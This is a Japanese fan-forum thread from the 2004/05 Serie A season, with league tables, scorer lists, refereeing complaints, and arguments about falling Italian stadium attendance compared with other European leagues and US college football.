お前らイタリア人の友人いるんか？

>>547
え？君はいないのかい？

.: Classifica 2004/2005
10 Juventus
8 Lecce
8 Messina
7 Milan
7 Lazio
6 Inter
6 Chievo
6 Palermo
6 Reggina
6 Bologna
6 Cagliari
5 Udinese
4 Roma
4 Fiorentina
4 Siena
3 Sampdoria
3 Brescia
2 Livorno
2 Atalanta
2 Parma

.: Classifica marcatori 2004/2005

4 V. Bojinov Lecce
4 V. Montella Roma
4 D. Trezeguet Juventus
3 L. Adriano Inter
3 M. Esposito Cagliari
3 G. Giacomazzi Lecce
3 Z. Ibrahimovic Juventus
3 A. Shevchenko Milan
2 S. Bjelanovic Lecce
2 E. Bonazzoli Reggina
2 A. Caracciolo Brescia
2 M. Cassetti Lecce
2 D. Di Michele Udinese
2 M. Fernando Couto Lazio
2 D. Giampa' Messina
2 C. Lucarelli Livorno
2 O. Martins Inter
2 M. Meghni Bologna
2 G. Pazzini Atalanta
2 C. Seedorf Milan
2 F. Semioli Chievo
2 D. Stankovic Inter
2 D. Suazo Cagliari
2 L. Toni Palermo
2 R. Zampagna Messina

ブレシア初勝利オメ

あまりおめでたくもない

カリアリはゾラとスアソ頼みのチームかとおもってたらいいチームだな

サムプ初勝利オメ

相変わらずバッツァーニは絶倫そうだな

ウディネ−ブレッシャでなんかあったみたいで

朝までブレッシア
かのイタリアのカルチョ番組では、朝まで「ブレッシアの得点は有効か無効か？はたまた倫理的に正しいのか？」を飽きもせず話し合っていたらしい。

ユーベ‐パレルモ戦の最終ラインについていけてないわ、
ラインアウトの判定を４，５回間違えたスペ韓並の副審や、
ローマ‐ボローニャ戦のボローニャの選手は２人退場させたのに
トッティの踏みつけ攻撃はイエローで済ませた主審とかは
この話題で流れちゃったのかな。

>556
ウディネーゼのＧＫとブレッシアの選手が
激突してＧＫが倒れているのに
なぜか審判は試合を止めなかった。
ＧＫは負傷にしているのにもかかわらず。
そして倒れている間にゴールが決まってしまった
らしいです。実際に見たわけではないんで
良く分からないけど。

審判すれ？

>>553
スアソ面白いね
Bでの実績は十分とは知ってたが、ミッドウィークの３節のハイライト見てたらやっぱいい
ホンジュラス代表というのも興味が湧く

http://seriea.jp
ってのができたんだね。写真がもっと大きければなぁ

パレルモ新スレ
http://ex5.2ch.net/test/read.cgi/football/1096211829/

質問です。

99-00から前のシーズンと02-03からのセリエ全試合の結果、
しかも出場選手のデータまであるサイト知りませんか？
RAIのやつは新しくなってからのは見れなくなっているんで。

http://www2.raisport.rai.it/mcalcio/

セリエBスレまた落ちた・・・。
次回からこのスレと統合で良いですか？

　

差し止めだってさ

第４節ウディネーゼｘブレシア戦が差し止めに（スポニチ）
（04.09.30）

　イタリアリーグは、主審に対する抗議があった26日のウディーゼｘブレシア戦の試合結果を一時的に差し止めることを決めた。
　１−２で敗れたウディネーゼはGKが負傷して倒れている間に決勝点を入れられた。
http://seriea.jp/pageShw.php?pageid=245

地方同士でよかったな。
ビッグ相手だったらもみ消されてた。

　

＞565
RAIのは02-03は3節以降途中までしか見れないようです。

「セリエAオフィシャルTV」iモーション（だっけ？ 動画）いいねぇ。
試合の写真もいっぱいで満足満足。

　

『Serie A Play On Search』ってサイトあったけど、このサイトどうなったの？？
とりあえず、01~02の試合はURL入れれば、動画だけは見れるみたいですが、サイト自体は消えてるっぽい・・・。

誰か、URL保存してある所、またはURl知ってたら教えてくれ〜。

>>574
ttp://www.powerbroad.ne.jp/jsp_dir/sports/serie/index.html
これになったみたいだね
有料ならちょっと高いけどスポニチプラスの方が配信予定とかあって親切だな
見れる動画数も多いし
利用価値は正直なくなったね〜


DLできるなら話は変わるけど・・・

ブレシアまた負けた・・・

またですか・・・
もうBRESCIAスレないのでここに記念ﾊﾟﾋﾟｺ

試合中ロスした時間正確に取ってそうだな
6分て・・・

ありゃ、レッチェ特急ストップですか。

カリアリまた赤紙か
ゾラPKおめ

デルネーリいなくなってどうなることかと思ったがキエーボのフロントは優秀だな

シエナ、街の風景と調和するスタジアムを建設へ＝セリエＡ
http://sportsnavi.yahoo.co.jp/soccer/eusoccer/headlines/20041003-00000002-spnavi-spo.html

>>582
Bおちしたらどうすんだｒｏ

>>582
アルテミオ・フランキが消えるのかｗ

メッシーナは8年ぐらい前に昇格して来た時のビチェンツァみたいだ。

リヴォルノの連続試合ゴール止まっちゃったか…

.: Classifica 2004/2005

13 Juventus
11 Messina
10 Milan
9 Chievo
9 Palermo
9 Cagliari
8 Lecce
8 Lazio
7 Inter
6 Bologna
6 Sampdoria
6 Reggina
5 Udinese
5 Roma
5 Fiorentina
4 Siena
3 Atalanta
3 Parma
3 Brescia
2 Livorno

Classifica marcatori 2004/2005

5 V. Montella Roma
5 A. Shevchenko Milan
4 V. Bojinov Lecce
4 D. Trezeguet Juventus
3 L. Adriano Inter
3 A. Caracciolo Brescia
3 M. Esposito Cagliari
3 G. Giacomazzi Lecce
3 Z. Ibrahimovic Juventus

セリエつまんねーーーーーーーーーーーーーーーーーーーーーーーー

セリエつまるーーーーーーーーーーーーーーーーーーーーーーーーーー

>>590　少しワロタ

今セリエでトップ下の司令塔として活躍しているのは誰？
モルフェオ、ネドベドあたり？

・「　セ　リ　エ　Ａ　は　冬　の　時　代　に　入　っ　た　」−。
カラーロ会長によると、昨シーズンのセリエＡ１８チーム、Ｂ２０チームの赤字総額は４億８５００万ユーロ（約６００億円）。
「収入を出費が上回る異常な状態が続いている。（この夏破産した）第２のフィオレンティーナがいつ現れても、不思議ではない」と発言した。
ラツィオ、ローマ、ユベントスのビッグ３に至っては、公開当時もてはやされたクラブの株価が大きくダウン。ラツィオの５６００万ユーロ（約６８億８０００万円）を筆頭に、いずれも赤字を計上した。
ttp://ime.nu/collina.hp.infoseek.co.jp/serie.html

・イタリア　上　「　サ　ッ　カ　ー　離　れ　」で人気増
イタリアラグビー連盟のジャコモ・マッツォッキ理事は「（ラグビーは）イタリアで唯一、選手人口が増えているスポーツだ」と胸を張る。
ラグビー人気の根底にあるのは　サ　ッ　カ　ー　に　対　す　る　失　望　だという。サッカー・ＡＳローマのゴール裏席を年間購入しているローマ大学の学生エドワルド・ペドイアさんが話す。
「サッカーは大好きな選手が他チームに売り買いされたり、ちょっと接触しただけで大げさに倒れたりする。一方、ラグビーは最後まで全力を尽くして、見ていて気持ちがいい。ルールは少し複雑だけど、サッカーが失った本当のスポーツ精神、ひたむきさがラグビーにある」。
ＡＳローマのファンたちで、ラグビーを見に行こうと話し合っているという。
http://www.yomiuri.co.jp/sports/feature/daen/da20030507_01.htm

・セリエＡ平均観客動員数推移
97-98　||||〜||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
98-99　||||〜||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
99-00　||||〜||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
00-01　||||〜|||||||||||||||||||||||||||||||||||||||||||||||||||||||
01-02　||||〜||||||||||||||||||||
02-03　||||〜|||||||||||||||


観客数年々減ってるよ・・・(´･ω･｀)
視聴率も下がって放送打ち切られたしもうだめぽ・・・(´･ω･｀)
セリエ嫌いじゃないけどこれは本気でやばいんじゃないですか？(´･ω･｀)

冬の時代はもう過ぎたよ。
ラツィオ・パルマが中堅クラブに落ちることで
新興プロビンツァ（フィオ含む）のモチベーションが上がってる。
今年のセリエAは全体的にかなり面白い。

でも観客は減ってるよなぁ・・・

見ている限りではそれほど観客数の減少は感じないのだが。
観客動員数推移のソースはどこから？

ビッグクラブvsビッグクラブしかみてないからじゃね？
ちょっとランク落ちるとｶﾞﾗｶﾞﾗのような気がする。

>>593
00-01と01-02の間になんかあったの？

イタリーではちょっと前までTV生放送やってなかったんじゃなかったっけ。
今はやってるらしいけど。

ユーベはやばいよ
シーチケ全然売れてないしＣＬは6000人だし

ミランとインテルはいつも良い感じで入ってると思うな。
あとはどうなんだろ？

オリンピコも結構入ってる。

各国独自のスタイルがあっていいと思うが、自国民がつまらんとか言い出したらきつい。
全部見てるわけじゃないから断言は出来ないけど、結構面白いサッカーをしてるところでも、
後半20分以降は勝敗を強く意識した展開になって、ぐだぐだぶつ切りサッカーに。
勝ちたい気持ちはわかるんだが、試合の印象としてはなあ・・・、
ロスタイム5分オーバーはどうかと思う。
あと、政治的に見えてしまう誤審は絶対止めろ、ちと多すぎ。
プロレスのようにネタ的に楽しむもんかもしれんが、真剣に見る気が猛烈に失せる。

02/03観客動員
Inter Milan・・・63,251
Milan AC・・・63,185
Roma AS・・・58,914
Lazio SS・・・48,051
Juventus FC・・・40,273
セリエはもう駄目だね。確実に終わってる
この間のCLのユーベの試合、観客5000人だもんな・・・

今のセリエのランクって

ミラン、インテル、ユーベ
ローマ
ラツィオ、パルマ、フィオ、ウディネ、パレルモ、サンプ
その他

て感じか

ユーベの試合は糞つまんねーからな
そりゃ客も辺境にわざわざ見に行かないだろ

また落ち込んだらいい。そうでもならんと手うたないだろ。
つかそれでも手をうたないのがイタだったりするが…
70s後半〜80s序盤あたりのザマになってみれば
誰か考え直すであろう

ジュゼッペ・メアッツァって何人入るんだ？
ユーベ５０００人って・・・ヤバイだろ・・・。

>>604の02/03のデータと比べると確実に落ちてるよな
ユーベの観客5000人ってヴェルディ並みだよな

でもユーベってイタリアで一番全国区なチームなんでしょ？
何で客来ないの？

シエナやウディネと紛らわしいから

ユベントスの本拠地はトリノだが、
トリノに住んでる人の多くはトリノファンだからじゃない。

あとはスタジアムがひどいから（ピッチまでが遠い、冬が寒いなど）



訂正よろしく

>>612
漏れもそうは思ったが、何故トリノサポのが多いんだろう？

>>610
ユーベヲタによると
デッレアルピが見難くて、遠くいかららしい
ただ3年連続でチケット売り上げ落ちてるからなぁ

>613
世界最強グランデトリノの亡霊がいるんだよ☆ミ

放映権バブルがはじけたらセリエもやばいな

おしい
もうちょっとでIDがJUVE

>>610
ユベンティーノは人生の勝ち組
ヨーロッパで一番テレビ好きな国民気質と相まって自宅で衛星TV観戦
スタジアムは族の集会を面白がって見に行くような物
逆に南部みたいな発展途上地域は衛星TVなんて高嶺の花だからシーズンチケット

>>604
物好きなファンが一番多いな・・・
正直驚いた

>>604

ラツィオ結構多いな。

>>604
この頃はこんなに来てたのか・・・
今じゃミラノ勢除いてガラガラだよな

７強時代が懐かしい

7強時代が異常過ぎたんだよ。
あんなの普通に考えたらありえない。

ブレシア並にやばいので緊急浮上

でもイタリア国内のサッカー人気はヨーロッパでも最も上の方でしょ？

■今年も不可解な判定が多いセリエＡ
　ユーベのイブラヒモビッチがマーカーのクリバーリに頭突きしたことについて、
何らペナルティーを与えなかったシーン（ウディネーゼ対ユベントス）。
レッジーナのＦＷボリエッロの同点ゴールを無効とした判定（ミラン対レッジーナ）。
インテル陣内ペナルティーエリアで、ローマのマンシーニがカンビアッソにファウルされ、
転倒したしたにもかかわらず笛が吹かれなかったシーン（ローマ対インテル）。
リボルノのＦＷカリスティアーノ・ルカレッリがペナルティーエリア内で受けたファウルが
無効となったシーン（サンプドリア対リボルノ）などなど。
今季は、昨シーズン以上に不可解な判定やミスジャッジが多い。
そしてカードを見ても分かるように、人気チーム（金持ちクラブ）が有利な判定を受けている。
ttp://sportsnavi.yahoo.co.jp/soccer/eusoccer/italy/column/200410/at00002768.html

>>625
最もでは無いんじゃない？
観客動員数じゃ、プレミア、ブンデス、リーガには敵わないし

>>626
はああああああ
マルティンスに対する悪質なタックルでカードも出ず
PKエリアでファール受けても笛吹かれなかったのはインテルだ

記事の為に捏造すんなよ

>>604
セリエAって平均観客動員数少ないよな。
トップクラスのインテルやミランで6万3000人くらいかぁ。。。

アメリカのカレッジフットボールは桁違いだよ。
平均10万以上の大学が４校、平均８万以上が１４校、
セリエA１のインテルより平均観客動員が多いのが２６校もある。

Rank School
1 Michigan 110,576
2 Penn State 107,239
3 Tennessee 106,275
4 Ohio State 103,488
5 LSU 90,307
6 Georgia 86,520
7 Florida 85,185
8 Texas 83,150
9 Auburn 82,943
10 Alabama 82,857
11 South Carolina 82,138
12 Florida State 81,766
13 Notre Dame 80,818
14 Texas A&M 80,198
15 Wisconsin 78,023
16 Nebraska 77,802
17 Clemson 75,714
18 Oklahoma 75,104
19 Michigan State 73,942
20 Washington 71,435
http://www.dopke.com/ncaastats/IA_Attendance.htm

参考板
http://inter-calcio.com/serie/bbs/bbs.cgi

まあ、アメリカは人口が多いからなｗ
比べ物にならない

>>631

国の人口は多いけど、ほとんどが人口５０万以下の都市だよ。
人口１０万くらいの小都市でも平均７万はいったりする。

それにアメリカはヨーロッパより人口が随分少ないし、
チャンピオンズリーグ常連クラスでも平均８万のクラブ一つ二つあるかないか程度。

>>627
リーガとは動員数でほとんど差がないよ。
リーガを過大評価してはいけない。

まあ、チケット代が一番安いのに観客が少ないのは、立地とかが原因でしょ。
イタリアでは成功の証明はサッカークラブの所有。
実際、こんなサッカーキチガイな国、欧州じゃ他にないよ。
国会でサッカーが普通に問題になるんだからね。

でここはサッカー板なのにラグビーと比べてどうするんだ？

>>633
2年前は3000ぐらいの差だったけど
今ではかなり差が付いてるんじゃないか？
セリエは確実に観客は減ってるし

>>633
首相があのお方だからな。

観客動員数　=　その国でのサッカー人気度　　ではない。

イタリアでのサッカー人気度は異常。もちろんイギリスよりドイツより上。

客が減ってるんだからセリエへの関心は減ってるんだろうな
そういえばロナウドが「あれはフットボールじゃない」って言ってたね

ミーハーな客が減っただけでしょ。
どこの国のどのスポーツでもそうだけど
コアなファンの人数はずっと変わらないよ。

セリエだけ減ってるんだけどねｗ
あれだけの歴史があって前まで来てた人がミーハーだったって事なのか・・・ｗ

マンシーニはしょっちゅうファールを貰おうとしてるから大嫌い。
貰ったあとのガッツポーズが憎たらしい。

観客が入らないのはスタジアムの設備の問題。
イタリアの場合は他の国とは違って、スタジアムはチームの所有物ではなく、市の所有物。
だから勝手にスタジアムをいじったりできない。芝も市が管理するからちゃんと手入れできない。
視聴率とかで人気度みるんならまだわかるけど。
視聴率減ってますか？

スタジアムが急に悪くなって客が減ったなら分かるが
前はそのスタジアムでも客が来てたからね

今から5年前、99-00のセリエA7強のメンバー

ユーベ　デルピエロ　ジダン　インザーギ　ダービッツ　ファンデルサール
インテル　ロナウド　ビエリ　バッジオ　レコバ　サモラーノ
ミラン　シェフチェンコ　ビアホフ　ボバン　ウェア　レオナルド
ラツィオ　サラス　マンチーニ　ベロン　アルメイダ　ネドベド　ネスタ
ローマ　トッティ　モンテッラ　カフー　アスンソン　中田
フィオ　バティ　ルイコスタ　キエーザ　ミヤトビッチ　トルド
パルマ　クレスポ　オルテガ　カンナバーロ　テュラム　ブッフォン


そりゃスタジアム行きたくなるわ

んで今はそのツケを払わされて膨らんだ赤字に切り切り舞いさせられてると・・・

>>644
普通に凄いな

>>644
GJ。
怪物級のアタッカーがいなくなって対怪物の守備戦術だけが残った訳だな。
そら退屈だわ。

>>644

それの04-05バージョンに当たるものって作れるのかなあ。

>>644じゃないけど作ってみた

ユーベ　デルピエロ　トレゼゲ　カンナバーロ　ブッフォン　ズラタン
インテル　アドリアーノ　ビエリ　レコバ　ヴェロン　ダヴィッツ
ミラン　シェフチェンコ　カカ　ピルロ　ネスタ　マルディーニ
ラツィオ　インザーギ弟　ペルッツィ　コウト　オッド　 ジャンニケッダ
ローマ　トッティ　カッサーノ　マンシーニ　モンテッラ　デロッシ　
フィオ　ヨルゲンセン　ミッコリ　マレスカ　オボド　中田
パルマ　ジラルディーノ　モルフェオ　マルキオンニ　ブレシアーノ 　フレイ

>>644
セリエは本物のサポーターが少ないのかもね
選手目当てにファンは見に来て
スター選手がいなくなったらガラガラと
もとからセリエが根付いてなかったと考えれば納得がいく

>>650
本物のサポーター、というかウルトラはいつの時代もいるよ。
衛星生中継が普及してスター選手がいなくなってウルトラが暴れて危ないから
一般のファンがスタジアムまで足運ばなくなっただけでしょ。
昨シーズンのローマーダービーの騒ぎとか見てたら
家族連れが生観戦を敬遠したくなっても無理はないと思う。

よりによって本格的凋落の始まった99/00シーズンを例に出さなくてもw

まともなサッカーやってたのラツィオとパルマくらいのもんだぞ99/00で。
選手のネームバリュー・クオリティに、やってるサッカーのクオリティが全然ついて行けてなかった。
ジダンがイタリア来たシーズンまでだったな、世界最高峰！！！！！！って感じだったのは。

>>645
経営スレでは、セリエはスペインの数倍まとまな経営してるって
話しだけどな。
大富豪が経営しない、外部監査を取り入れない、会計が未だに原価主義、
スペインは三重苦でヤバイらしい。
セリエはフィオの悲劇以来、シビアに経営してる。

>>635
こないだ発表された、クラブ別観客動員数見てこい。
トップ２０にセリエのクラブは５つぐらいで、リーガは３つぐらい

最近スタジアムの治安のやばさではローマは群を抜いてるけどみんなよく見に行くなあ

>>655
それ02/03観客動員だろ？
ま仮に去年のデータだったとしても平均ではブンデス＞プレミア＞＞リーガ＞＞＞＞セリエ
だからな

ミーハーな客が減ったから→あれだけの歴史があって前まで来てた人がミーハーってのはありえない
スタジアムが悪いから→それは前からの話です
観客動員数=その国でのサッカー人気度ではない→自国のサッカーリーグの客が減ってて人気が落ちてないってのはありえない
人気選手が減ったから→選手目当てにファンが来てたとなるとセリエは根付いてないんですね
守備的でつまらないから→前からです
スタジアムの治安が悪いから→南米の方がやばいです

>>593って元々アンチサカーの奴のコピペじゃねーか。

＞サッカーは大好きな選手が他チームに売り買いされたり、ちょっと接触しただけで大げさに倒れたりする。

ゴール裏で試合観るほどの奴がサッカーじゃ当たり前のことに今更失望すんのかね？　

>>657
去年のデータだよ。平均動員数ではリーガが上。

ブンデス＞プレミア＞＞＞リーガ＞セリエ

の間違えでしょ？リーガも相当入ってないから、どっこいどっこいだぞ？
リーガの場合、原価主義会計な上に、外部監査制度がないから、
外部者には２年に１回ぐらい、不明瞭な形でしか経営状態が伝わってこない。
経営制度的にリーガは１０年遅れてるよ。

セリエが根ざしてないとか、凄まじい暴論だな。
リーガ総合スレを荒らされたらどんな気分になる？
何も分かってないぼっちゃんは消えろ。

平均動員数は今年はフィオと南部効果で上がりそうらしいね。
ローマの不振が続くと、逆に落ち込む可能性もあるからそこが心配なとこ。
ナポリがＡにいる年は、だいぶ数値が高いね。
ナポリ復帰は遠い将来だろうけど（監査により強制降格処分）、
早く上がってきてもらいたいもんだね。
あとは、ｽﾀｼﾞｵｼﾞｬﾝﾆｱﾆｪｯﾘに期待。キャパが少ないけど、
今より平均で１万５千はぐらい上がると思う。

クラブ収入でトップ10に入ってるのはユーベ、ミラン、インテルの三つ
プレミアだと、アーセナル、マンチェスターU、リバプール、チェルスキー、ニューカッスル
と圧倒的
リーガはレアルだけで、客が一番入ってるブンデスですらバイエルンだけしかランクされない現実
安いチケットでどれだけ客入れてもあんま意味ない、プレミアはチケットが高いから効果がある

>>661
そうなんだよね。プレミアのチケット代は、
日本人ツアー客泣かせな値段。あの値段帯で満員になるから意味がある。

リーガの経営問題は、全てを不透明にしてるとこにある。
リーガにナポリがあったら、強制降格処分はなかったでしょ。
セリエはフィオの悲劇以来、外部監査が非常に厳しい。
倹約経営が目立つし、ドイツ化してる一面があるのは確か。

リーガのチームは適当だけど、トップチームで破産しそうなチームはないぞ。

ドルトムント、ドイツ史上最高額の負債（ISM）
http://sports.yahoo.co.jp/soccer/headlines/ism/20041009/spo/13141800_ism_00000052.html

>>661
イギリスやドイツとイタリアの所得水準が倍近く違うから
これだけの差は仕方ないでしょ
ユーロ導入の便乗値上げで娯楽にかけられるお金も減ってるし

ｵﾏｲﾗ推測だけで語ってないで一回イタリア行ってみろ。物凄いぞ。
他にロンドン、マドリッド、ミュンヘンなど滞在したことあるが、イタリアが一番サッカー熱あつかった。
スペインも相当あつかったが治安が悪い。
ロンドンが意外にそれほどサッカー熱があつくなかった。労働者階級の人だけ好きみたいなかんじだった。

ヨーロッパは階級意識の強いところだからね
貴族のクラブとレアル、ミランとか　庶民派なのがインテル、ローマ、アトレティコとか
まあ、最近はフーリガンの溜まり場だったサッカー場を家族連れが来やすい環境に変え、VIP席
をつくって上流階級の社交場としての側面も持たせたんだ。 ブレアや皇族さえもサッカーが好きなんだしね。
つうか良いプレーする度に拍手したり歓声を上げたり、ゴールの度に大声を上げて立ち上がって喜ぶ
サポーターが熱狂的じゃないと？

ちなみにロンドンのクラブチーム平均観客（昨シーズン）
Chelsea / チェルシー 41160人Premier Arsenal / アーセナル 38025 Premier
Tottenham Hotspur / トッテナム・ホットスパー 34601 Premier
Westham United / ウェストハム・ユナイテッド 30601 Division1
Charlton Athletic / チャールトン・アスレティック 26332 Premier
Fulham / フラム（フルハム）16079 Premier 　Crystal Palace / クリスタル・パレス 15410 Division1
Queens Park Rangers (QPR) / クイーンズ・パーク・レンジャーズ 14479 Division2
Millwall / ミルウォール 9956 Division1

http://www3.tokai.or.jp/wwg.dt/img/london.jpg
ロンドンの中に12個もクラブがあってもこれだけ来るんだよ

でチェルシーファンは基本的に金持ち。
Gloucester roadって駅の近くの地区普通は世帯当たりの平均年収£100,000超えるって
Metroに書いてあった。 ま、£1＝200JPYではなく、100JPYで考えるべきだけれど。
それでも年収1000万超える世帯がほとんどだ。
で、あの辺はやっぱりチェルシーファンが比較的多かったと思う。
でも比較的という感じで、Londonの中ではほとんどの人間がアーセナルファン。
で、チェルシーは微妙なファンの数。無視はできないレベルという感じかなぁ。
フラムとかは、はぁ？て感じよ。

チェルシーはスタジアムの観客も比較的おとなしいよね
ラグビーの試合見に来てる感じ

というかそろそろスレ違いつーか
どーでも良いんじゃーの？

まあ今週はリーグの試合ないししょうがない
そろそろ勘弁してほしいが

市内でいえば、ロマニスタとラツィアーレみたいな分布か

>>667
インテルとミランは逆じゃねーの？
庶民があんな無駄金使ってたら怒るよ
ローマはそのVIP席から例のものが投げ込まられた訳では？

>>673
いや、667が合ってる。
ミランの観客は上流の人が多くて、インテルは労働者階級が多い。

お勧めサイト
http://inter-calcio.com/serie/bbs/bbs.cgi

>>661
クラブ収入がスタジアム観客動員できまるわけねーだろ。
世界展開して物売ってる奴等がランク入りしてるだけじゃん。

>>674
http://www.calcio2002.com/mag/special/1201_milano/06.html
え？

>>677
なんか逆に習ってた。
すまそ。

ダバディはこう言ってるぞ。
http://dabadie.cocolog-nifty.com/blog/main.html

ミランの今の会長の副業が副業だからな

2003-2004シーズンの観客動員データ

プレミア
1節平均の観客動員：35.020
プレミア2部
1節平均の観客動員：15.893

ブンデス
1節平均の観客動員：37.479
ブンデス2部
1節平均の観客動員：9.536

セリエA
1節平均の観客動員：25.469
セリエB
1節平均の観客動員：9.724

リーガ・エスパニョーラ
1節平均の観客動員：28.823
セグンダ
1節平均の観客動員：7.793

なんかプレミアを持ち上げたいがために観客数をわざわざあげるやつがいるな。
客観的にもイタリアの方がサッカー熱が熱いのは変えようのない事実。
一回行って来いよ。

プレミアはいいプレーしたら敵にも拍手、な〜んて時点でもうアウト。
イタリアのスタでそんなことしたら周りにボコられるわな。

> 客観的にもイタリアの方がサッカー熱が熱いのは変えようのない事実。
(　ﾟдﾟ)ﾎﾟｶｰﾝ

色々なサッカースタイルやスタの雰囲気があった方が面白いじゃん。
全てを統一する必要はない

ディバイオにはリーガでこのまま得点王になって欲しい！いやなれる！

セリエ(´Д⊂ ﾓｳﾀﾞﾒﾎﾟ

１シーズンを通しての観客動員数世界ナンバー１のクラブは、

新　潟　ア　ル　ビ　レ　ッ　ク　ス

アルビレックスってシンガポールにチームがあるんだよね？
それを含めて言ってるんだろうけど
シンガポールではどれくらい客が来てるの？
それを含めて
1.バルセロナ・・・76,539
2.レアルマドリッド・・・69,225
3.ドルトムント・・・68,000
4.マンチェスターU・・・67,613
を超えてるって事か

新潟は毎試合１０万人ぐらい入ってるらしいよ

　

WSDから
マンチーニ「イタリアではサッカーを楽しむことが年々難しくなってきている
まるで生死を賭けた一大事のようになってる、歓びや祝祭のムードはまるでない
もう、うんざりだ、インテルとの契約が終わったら海外に行くよ」
だってさ、ほんとにどうにかならないのかね・・・どんどん悪い方向に向かってる気がする
マンチーニは好きだっただけに残念

>>689
アルビレックスSは現地邦人を中心に平均で2000〜2500くらいのはず。

イングランドの場合サッカーは娯楽の１つ程度の扱いだが、
イタリアではサッカー　=　人生　だからな。
気持ちのかけかたが違う。

セリエは政治がもろに介入してるからねw

>>693
じゃ>>688は間違いか


>>694
でもそれがイタリアサッカーを悪くしてる原因だと思うよ
イングランド、スペイン、ドイツとかの方が健全だし、セリエもそうなるべきだと思う
それにしてもその人生程のサッカーの客が少ないのは何でだろうね・・・
ドイツ、イングランド、スペインに平均で負けてるし・・・

スタジアムで騒ぎたいだけのＤＱＮが多いから

ドイツとイギリスはイタリアより人口多いしなー。
>>681見りゃ分かるけど二部は結構入ってる。

それにスペインは全然健全じゃないだろ。
ETAとか分離独立組織がかなり地方のクラブだと絡んでるし。
昨シーズンの国王杯の試合でも観客がリンチしてスタで死亡者出てるし。

とりあえず発煙筒はやめたほうがいいと思う。

セリエA最高

http://seriea.jp/pageShw.php?pageid=359

やっと解決か
でメッシーナはどうなん？

客が入らないのは客自体が金持ってないから。
そのかわり練習場とかにはいっぱいきてる。

お勧めサイト
http://inter-calcio.com/serie/bbs/bbs.cgi

>>702
スペインの方が貧乏でしょ

ゴール裏のシーズン席は格安だが危険
スタンド席は高い（物価差考えると日本の二倍）
女性のご機嫌を取るため日曜の午後はスタジアムに行く暇がない

セリエには女子供の行く空気はないよな。

あの刺すか刺されるかの殺伐とした雰囲気が好きなんだけどな

>>688
そっちバスケの方じゃん

　

命を懸けるからセリエＡは面白いんだよ

テレビで見てるだけのクセに(´,_ゝ`)

フィオの放送消えてるジャン・・・

放映権が決着した、とか言うけどイタリアの放送予定見ると無いんだよ、フィオ戦
実はまだ決着してない、て感じなんじゃね？

　　　 　 　 　 ,.-ﾞ'"i´　 ,...､:;:ヽ- ､
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　　　　　　 ／ﾞ!i;;;;.-'"　 `ｰ'　　　（;;;;:`-ﾞ'''- ､
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　　　　 ./　ﾞ'''i;;;;!　　　 ﾞ';, ﾉ;,.;;l;ﾉ;,,ヾ,,,.ブ;;' ,,.r.:,==､-､.　ヽ
　　　　/　　　j;;;!　　　i;,,.;;;;;;;;;;人;;;;;:.　l; ;: ,;l.:.:.{　* .}　）;,　ヽ
　　　 /　　　l;;;;;!　 ,.;;-'ﾆニヾ;;､:;ヽ;;　 ヽ, ﾞヽ,:.:`--'.,..//ﾞ　　ﾞ､
　　　.!　　 　 ﾞi;;;>'",..--､　 ﾞi;, l;;ﾞ;::i:;)　　 ヽ`'ヽ｀ﾞ"ﾞヽ;::ﾞi,　 　 l,
　　　|　　　　 / /.:.{　*　} ,./,. l;; :;《;.　　　　ﾞ､　:;:;;;;,. ヾ;;;ﾞi,.　　ﾞi,
　　　|　　　　i　|::.:::.:`--'シノ,;'ﾞ　:;l;;::,.　 　 　 ヽ ﾞ'';;;;;;,.. ﾞi;;;:!.　　l
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現地時間16日の午前中の発信記事で「フィオ、Skyと合意」っていうのがあったけど。どーなんだろか。

今週はダメでも来週見れるさ

ハイライトはどうなるんだろ

ナカータ初スタメンの今週見れなきゃ意味ないんだよ！

ハイライトも見れないってのは異常だな。勘弁してくれ。

すぐに居場所がなくなり、クラブを転々とする選手。

アモローゾ、ドナーティ、フィリッピーニ兄弟

（　´∀｀）＜ぬるぽ
http://www.fiorentina.it/notizia.asp?IDNotizia=25892&IDCategoria=1

>>720
でもちゃんと雇ってもらえるじゃん。

今節で今季の１位＆２位がほぼ確定したね。
どっちがどっちかは知らないけど。

ユーベの６試合で失点２て、すごいな・・・

ブレシア、やっと普通に勝ったぜ・・・
このままなんとかならんかな。

ブリーギ、マウリもおめ

ゾラスレ落ちちゃったーよ

　

メッシーナとフィオ問題まだどうにかならんのか？

ミランもインテルもリーガに勝った！
セリエがリーグランク１位に返り咲く日もそう遠くないな。

上位クラブは大変だな。試合数増えてコパに、ＣＬやＵＥＦＡ

しかも以前に比べて下位クラブ相手に手抜きできなくなってるしね。
マンチーニがうんざりする気持ちもわからんでもない。

アメリカ大手世論調査会社ハリス社　★最新版が発表されました　10月13日★
　　　　　　　　　　　　　　　　　★最新版が発表されました　10月13日★
　
★好きなスポーツ調査★　　10月13日発表

�@　３０％　プロフットボール（NFL）
�A　１５％　野球（MLBなど）
�B　１１％　大学フットボール
�C　　７％　プロバスケットボール（NBA)
�C　　７％　オートレーシング
�E　　６％　大学バスケットボール
�F　　４％　男子ゴルフ
�F　　４％　ホッケー（NHLなど）
�H　　３％　男子サッカー
�I　　２％　女子テニス
�I　　２％　ボクシング

その他１％台は、陸上、男子テニス、競馬、ボウリング、女子大学バスケ、女子サッカー
http://www.harrisinteractive.com/harris_poll/index.asp?PID=506

プロ・大学などの総合ランキングだと

�@　４１％　アメフト
�A　１５％　野球
�B　１４％　バスケット
�C　　７％　オートレーシング
�D　　４％　サッカー 　　　　←アメリカでのサッカー人気も上がってるよ
�D　　４％　ゴルフ
�D　　４％　ホッケー

＞７３２
アメリカの好きなｽﾎﾟｰﾂ世論調査がどうかしましたか？
もともとあんなダサイ国どうでもいいんですがなにか？

それはイタリアに言われたくないだろ（w

しかしマンチョはマジで監督の才能があるのかもしれないなあ。
ああいうタイプの選手が監督で成功しない…っていうのは半ば定説になってたから。
どちらかと言うと感覚でプレーするタイプだったし、代表でも折り合いが悪かったし…

>>733

イタリアも十分ダサい国だろ。田舎臭さや貧乏臭さが漂うのがイタリア。

ローマ行ったけど、首都ローマでさえﾀﾞ埼玉に毛が生えた程度の田舎だったし。。。
ってオリンピコにもいったんだけどさｗ　
ラツィオがスクデットとった頃が懐かしい。。。今は。。。。ダメポ。。。先週も負けたしさ。

>>732　ｷｲﾀ?( ﾟдﾟ)ｵｸｻﾝ(ﾟдﾟ )ｱﾗﾔﾀﾞﾜｧ

永遠の都ローマのどこが田舎なんだ？
貴婦人の都フィレンティエのどこが貧乏臭いんだ？
